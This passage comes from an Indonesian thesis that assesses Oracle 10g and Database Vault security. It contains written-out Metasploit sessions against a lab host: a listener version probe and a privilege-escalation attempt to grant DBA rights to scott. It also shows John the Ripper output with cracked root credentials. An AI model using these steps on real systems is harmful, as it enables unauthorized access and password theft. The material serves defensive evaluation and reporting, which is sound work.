pada Oracle 10g keamanan listener tidak dapat ditembus karena keamanan dibuat sama dengan autentifikasi OS. Sehingga tidak mungkin untuk merubah SID. Sehingga dapat disimpulkan bahwa pada oracle 10g memiliki tingkat keamanan yang baik karena dapat memproteksi SID dan sulit untuk merubahnya. b. Mengetahui tentang listener oracle msf > use auxiliary/admin/oracle/tnscmd msf auxiliary(tnscmd) > set RHOST 192.168.1.10 RHOST => 192.168.1.10 msf auxiliary(tnscmd) > run [*] Sending '(CONNECT_DATA=(COMMAND=VERSION))' to 127.0.0.1:1521 [*] writing 90 bytes. [*] reading (DESCRIPTION=(TMP=)(VSNNUM=169870336)(ERR=0))#\#TNSLSNR for Linux: Version 10.2.0.4.0 - Production TNS for Linux: Version 10.2.0.4.0 - Production Unix Domain Socket IPC NT Protocol Adaptor for Linux: Version 10.2.0.4.0 - Production Oracle Bequeath NT Protocol Adapter for Linux: Version 10.2.0.4.0 - Production TCP/IP NT Protocol Adapter for Linux: Version 10.2.0.4.0 - Production,, #@ [*] Auxiliary module execution completed Berdasarkan hasil pengujian diatas, penulis dapat mengetahui versi oracle yang digunakan dengan mengetahui tipe TNS 101 sehingga bila ingin mengeksploitasi listener lebih lanjut tinggal mencari di internet berdasarkan versi oracle yang dimiliki. c. Drop Table Trigger Trigger adalah blok PL/SQL yang disimpan dalam database dan dijalankan secara implisit sebagai respon terhadap perubahan yang telah ditentukan dalam database. Perintah DML seperti INSERT, UPDATE, dan DELETE adalah pemicu umum terjadinya trigger. Operasi DDL seperti ALTER dan DROP juga dapat memicu dijalankannya trigger. Untuk percobaan metsploit berikut tidak seperti umumnya trigger. Percobaan ini dimaksudkan untuk membuat modul memberi akses DBA pada scott msf > use auxiliary/admin/oracle/droptable_trigger msf auxiliary(droptable_trigger) > set RHOST 192.168.1.10 RHOST => 192.168.1.10 msf auxiliary(droptable_trigger) > run [*] Creating 'msf.sql' file ... [*] Generated output file /root/metasploit/data/exploits/msf.sql [*] Auxiliary module execution completed Lalu dilanjutkan dengan mengetik sql command SCOTT/[email protected]/orcl < msf.sql Dan hasilnya adalah “insufficient privilege”. Dengan ini terbukti bahwa tingkat keamanan pada oracle cukup baik karena dapat menolak alter command untuk merubah privilege. 102 2. John The Ripper (JTR) 1.7.3.1 Merupakan freeware untuk mengcrack password dan berjalan pada berbagai OS. Tujuan utamanya adalah mendeteksi kelemahan password unix. Terdapat 3 mode pada JTR untuk mendecrypt password: - Single Mode Pada Single Mode, JTR akan berusaha mencari password yang paling lemah dari seluruh password. Cara ini merupakan cara yang paling cepat. - Wordfile Mode Harus membuat terlebih dahulu password file passwd.txt dan mempunyai kamus kata words.lst - Incremental Mode merupakan cara yang paling lambat dan berusaha untuk mendecrypt semua password, akan memakan waktu Untuk percobaan ini penulis menggunakan teknik wordfile mode Password files required, but none specified No table of contents entries found.[root@maroeti run]# ./john --show /tmp/crack.passwd.db root:maroeti:0:0:root:/root:/bin/bash maroeti:maroeti:501:502::/home/maroeti:/bin/bash 2 password hashes cracked, 1 left Berdasarkan hasil diatas maka terbukti bahwa dapat mengetahui password root. Setelah dilakukan pengamatan, cara kerja JTR adalah dengan mengisi password list atau mengecek user name 103 dengan password dictionary yang telah ada atau kita dapat membeli kumpulan password list pada JTR, sehingga tidak secara langsung dapat mengcrack password-password yang kita miliki. 4.5 Laporan Audit Bentuk laporan pada database vault terbagi menjadi dua bagian yaitu: - Database vault reports Memberikan laporan yang berkenaan dengan konfigurasi database vault dan audit, antara lain: command rule configuration issue, realm violation report. Berikut adalah gambaran bentuk pelaporan khusus tentang database vault. Gambar 4.8 Bentuk pelaporan khusus database vault Sebagai contoh apabila ingin mengaudit tentang realm maka hasilnya adalah seperti pada gambar berikut. 104 Gambar 4.9 Realm audit Terlihat pada gambar diatas terjadi pelanggaran-pelanggaran pada realm dan terlihat jelas siapa yang melakukan, jam berapa dan apa command apa yang ditulis untuk melanggar realm. - General Security Reports Memberikan laporan secara umum tentang keamanan pada database, antara lain: akses objek oleh publik, siapa saja yang memiliki DBA roles, system privilege, akses ke objek yang sensitif, akses objek oleh non publik, eksekusi yang dilakukan oleh public pada SYS PL/SQL prosdur, dll. Berikut adalah gambaran bentuk pelaporan pada general security reports. 105 Gambar 4.10 Bentuk pelaporan keamanan secara umum Bila ada pemberian akses DBA pada user biasa maka laporannya dapat terlihat pada accounts with DBA role report, sehingga kita dapat mengantisipasi yang mencoba melakukan pelanggaran pada database dengan account DBA walaupun tidak memiliki hak admin. Berikut adalah gambaran dari account with DBA role Gambar 4.11 Laporan account with dba role 106 Terlihat pada gambar diatas bahwa user dengan nama scott memiliki akses sebagai DBA, padahal scott tidak memiliki tanggung jawab atas database sehingga hal ini dapat menjadi penyelidikan lebih lanjut. Selain itu database vault juga memiliki sistem monitoring untuk memantau keamanan dari database, seperti: kebijakan keamanan berdasarkan kategori (privilege grants, database role), percobaan untuk mengakses database. Berikut ini adalah gambaran sistem monitoring pada database vault berdasarkan kategori dan percobaan akses ke database. Gambar 4.12 Sistem monitoring pada database vault Dengan sistem ini database vault owner dapat memantau seluruh kegiatan pengamanan database sehingga kemungkinan terjadinya pelanggaran akan sangat kecil. . BAB V PENUTUP 5.1 Kesimpulan Setelah melakukan pengujian terhadap oracle database 10g release 2 yang ditambahkan dengan database vault, maka dapat diambil kesimpulan sebagai berikut : 1. Sistem keamanan yang dimiliki oracle database 10g release 2 dan database vault telah memenuhi karakteristik sistem keamanan yang baik. Hal ini dibuktikan dengan terproteksinya database dari user yang tidak berhak bahkan dari DBA sendiri. 2. Adanya sistem monitoring keamanan untuk database secara real time untuk memantau setiap aktivitas pada database, sehingga kemungkinan terjadinya pelanggaran pada database amat kecil. 3. Adanya sistem pelaporan untuk audit pada database sehingga memudahkan penelusuran dan pengecekan pada database. 5.2 Saran Setelah mengamati dan melakukan pengujian pada oracle database 10g release 2 dan database vault maka terdapat beberapa masukan: 1. Telah hilangnya super user privilege pada database tidak menghilangkan kemampuan seorang DBA untuk menampilkan hash 107 108 password dari semua user termasuk database vault owner, maka secara logika jika password dapat ditampilkan dalam bentuk enkripsi hanya tinggal mencari tool untuk mendekripsi password yang ada, freeware tools yang harus diwaspadai adalah metasploit dan john the ripper. 2. Manajemen pengaturan yang sulit untuk role-role, karena pekerjaan satu orang database administrator harus dikerjakan oleh beberapa orang demi antisipasi keamanan database secara internal namun apakah dapat dijamin juga beberapa orang ini dapat dipercaya dan akan lebih banyaknya birokrasi sehingga tidak efektif dan efisien 3. Perlu ditingkatkannya penjagaan akan database baik secara langsung maupun melalui IDS dengan terbukti begitu banyaknya programprogram eksploitasi yang mudah didapat di internet dan gratis.